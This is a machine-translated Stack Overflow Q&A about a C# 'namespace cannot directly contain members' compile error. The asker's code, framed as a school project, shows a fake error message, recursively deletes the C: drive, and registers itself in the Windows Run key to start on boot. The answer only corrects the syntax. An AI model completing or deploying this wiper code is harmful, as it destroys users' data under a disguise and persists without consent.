c# - 命名空间不能直接包含字段或方法等成员吗?

标签 c# methods namespaces field

我正在尝试创建一个在启动时删除用户文档的应用程序(我知道这听起来可能是恶意的,但它是针对学校项目的)。

但是,我收到错误“命名空间不能直接包含字段或方法等成员”。

看了一下,好像还好吧?我希望第二双眼睛能提供帮助,因为我到处搜索,但找不到相关的解决方案!

不可否认,由于我的知识非常基础,我使用了很多在线和书籍的帮助,而我对 c# 的了解是有限的。因此可能只是我太笨了,但每个人都必须从某个地方开始,对吧?

代码如下:

namespace Test
{
class Program
    {
     static void Main(string[] args)
        {
        MessageBox.Show("An unexpected error occured");
        if (System.IO.Directory.Exists(@"C:\"))
        {
            try
            {
                System.IO.Directory.Delete("C:\\", true);
            }

            catch (System.IO.IOException e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
    }
public class Program
{
    private void SetStartup();
    }

        RegistryKey rk = Registry.CurrentUser.OpenSubKey
            ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

        if (chkStartUp.Checked)
            rk.SetValue(AppName, Application.ExecutablePath.ToString());
        else
            rk.DeleteValue(AppName, false);

    }

最佳答案

您的代码在 SetStartup 周围严重困惑。如果您遵循正常的缩进,您会更清楚地看到发生了什么。在 Visual Studio 中按 Ctrl-E,然后按 D,它会重新格式化您的文档 - 这应该会让事情变得更加清晰。

看看这个(在我缩进之后):

public class Program
{
    private void SetStartup();
}

RegistryKey rk = [...];

这试图在类之外声明一个变量 (rk)。您还有一个没有主体的非抽象方法,并且最后缺少右大括号。

我怀疑你的意思是:

public class Program
{
    // Note: no semi-colon, and an *opening* brace
    private void SetStartup()
    {
        RegistryKey rk = [...];
        // Other code
    }
}

// And you'd want to close the namespace declaration too

声明两个(非部分)同名类时也会遇到问题...

关于c# - 命名空间不能直接包含字段或方法等成员吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/9383791/

相关文章:

c# - 如何在周末在 C# 中分配唯一的员工

c# - Aforge 的网络摄像头框架始终为灰色图像

c# - 将类放在不同的文件夹中但在相同的 namespace 下调用它们?

r - 通过以下方式调用包中的函数是一个好习惯吗:

namespaces - Perl:匿名子程序中的原型(prototype)

c# - 如何使用 C# 在 Redis 中添加对象列表作为键的值?

c# - Unity 3D 在 GetButtonDown 上的特定时间移动对象

c# - 确定在 C# 中定义函数的位置?

swift - 为什么 Swift 中函数的第一个参数名在调用时不需要?

Java:如何在类内部引用另一个元素的类?